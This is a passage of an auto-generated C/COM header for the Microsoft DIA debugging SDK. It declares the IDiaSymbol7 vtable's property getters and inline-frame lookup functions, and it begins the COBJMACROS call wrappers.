[id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasDebugInfo )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLTCG )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isDataAligned )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSecurityChecks )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAlloca )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSetJump )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasLongJump )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasInlAsm )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEH )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasSEH )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasEHa )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isNaked )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol7 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol7 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol7 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol7 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol7 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol7 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( \n            IDiaSymbol7 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol7Vtbl;\n\n    interface IDiaSymbol7\n    {\n        CONST_VTBL struct IDiaSymbol7Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol7_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol7_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol7_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol7_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol7_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol7_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol7_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol7_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol7_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol7_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol7_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol7_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol7_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol7_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol7_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol7_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol7_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol7_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol7_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol7_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> 